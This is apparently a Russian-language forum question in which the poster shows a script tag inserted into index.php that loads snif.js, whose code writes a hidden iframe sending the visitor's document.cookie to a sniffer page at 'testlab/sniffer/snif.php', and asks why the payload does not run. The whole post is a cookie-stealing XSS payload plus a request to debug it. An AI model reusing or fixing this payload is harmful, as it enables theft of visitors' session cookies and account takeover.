еше маленький вопрос по яве
если я вставляю в индекс.пхп такой скрипт
<a><script language="JavaScript" src="http://****snif.js" </script></a>
где snif.js
document.write("<iframe width=100 height=100 style='visibility:hidden;' src="+"http://testlab/sniffer/snif.php?cookie="+document.cookie+">");

он должен исполняться или нет
у меня не исполняется и в добавок блокирует исполнение последующих тегов

что не так?
или document.cookie+">" только в местах XSS